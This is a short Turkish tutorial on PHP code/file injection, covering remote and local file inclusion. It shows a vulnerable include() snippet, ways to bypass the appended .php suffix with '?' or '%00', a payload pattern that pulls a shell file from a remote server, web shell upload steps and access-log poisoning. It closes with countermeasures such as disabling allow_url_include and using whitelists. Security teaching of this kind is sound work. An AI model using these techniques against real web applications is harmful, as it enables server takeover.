KOD/DOSYA ENJEKSİYONU

- Bu saldırıda uygulamaların girdi kısımları hedef alınmaktadır.
- Kullanıcıdan alınan içerisinde zararlı kod barındıran dosyanın uygulamaya dahil edilerek çalıştırılmasından kaynaklanır.
- Sık kullanılan metodların modüler olarak çağrılması için kullanılan include() ve require() gibi metodların kontrolsüz kullanımından doğan bir zafiyettir.

RFI SALDIRISI

- İçerisinde zararlı kod barındıran dosyaların uygulamaya uzak sunucu yolu belirtilerek başka bir sunucudan uygulamaya dahil edilmesine denir.
- Sunucu üzerinde yetki elde etmeyi sağlayabilir.
- Eğer zararlı kod uygulamada çalışmıyor ise (yorumlanmıyorsa) bu yöntem ile istemciler hedef alınır.

Saldırı Aşamaları

1. Sucuyua normal bir istek yapılarak burada kullanılan parametrelere alınan cevaplar sayesinde birçok ipucu elde edilir.
2. Mesela file=image istediğimize 404 NOT FOUND cevabı alıyorsak sunucu üzerinde image.php adlı bir dosya bulunmadığını öğrenmiş oluruz.

YADA

File=kaynakça şeklinde bir istek yaptığımız da 200 OK cevabını alıyorsak sunucu üzerinde kaynakça.php adlı bir dosyanın mevcut olduğu bilgisine erişmiş oluruz.

3. Page parametresine uzak sunucuda bulunan zararlı dosya yolu ile beraber değer olarak atanır.
4. Eğer hedef üzerinde zafiyet var ise uzak sunucudan dosya çağırma işlemi gerçekleşir.
5. Zararlı kod parçası uygulama içerisinde yorumlanırsa saldırı başarıyla sonuçlanmış demektir.Fakat çalışmazsa istemciler üzerinde XSS denemeleri yapılabilmektedir.

```
$file = #_GET[‘file’];
İnclude($file.”.php”);
```

(zafiyet içeren bir kod parçası)

- ➔ Girilen her bir değere .php ekleyerek include() içerisinde çağırma yapar.
- ➔ Burada saldırı için kullandığımız parametlerin sonlarına “ ? ” veya “ %00 ” ekleyerek .php ekleme işlmini ByPass etmiş oluruz.

Uzak sunucudan dosya çağırmak için;

?FILE=[http||https||ftp]://sunucu/Shell.txt

LFI SALDIRISI

1. Hedef uygulamadaki dosya yükleme formu kullanılır.Bu nedenle öncelikle forma istek yapılır.
2. Gelen cevap Http cevabıdır ve böylelikle form görüntülenebilir.
3. Zararlı kod barındıran Shell.txt dsoyası upload.php ile sisteme yüklenir.
4. 200 OK cevabı alınıyorsa yükleme işlemi başarıyla sonuçlanmıştır.
5.
    a. Yüklenen dosyanın dizinini tespit et
    b. Uzantı engeli varsa include() ve require() metod zafiyetine ihtiyaç vardır.Shell.php yüklemesinde sorun yoksa işlem de sorunsuzdur.
6. 200 OK cevabı alınıyorsa kod çalışır ve istismar gerçekleşmiş demektir.

TEST ETMEK İÇİN

Upload formları ile doğrudan PHP kodunun php dosyası ile yüklenmeye çalışılmasıdır.

Dizin gezinimi yapılabiliyorsa Access.log dosyasın üzerinden saldırı-komut çalıştırma yapabiliriz.

Hedef sistemi oluşturan yazılımcı Access.log dosyasını gizlemiş yada yolunu ve adını daha karmaşık hale getirmiş olabilir.

Bu durumda httpd.conf ve httpd_chost.conf dosyalarına erişim sağlayabilirsek Access.log dosyasının yerinide bulabiliriz.

Alınacak Önlemler

I. Php.ini dosyasından
→allow_url_include
→allow_url_fopen

Değerleri OFF (kapalı) olmalıdır.

II. Null Byte engellenmelidir.(%00 kullanımı)

III. Formlardan upload edilen dosyalar veya parametlereler uygulama içerisinde doğrudan çalıştırılmamalıdır.
- Dosya tipi
- Dosya uzantısı
- Mime değeri

Kontrol edilmelidir.

IV. Beyaz listeler oluşturulmalıdır.

Hasan Baskın

Adli Bilişim Mühendisliği

www.hasanbaskin.com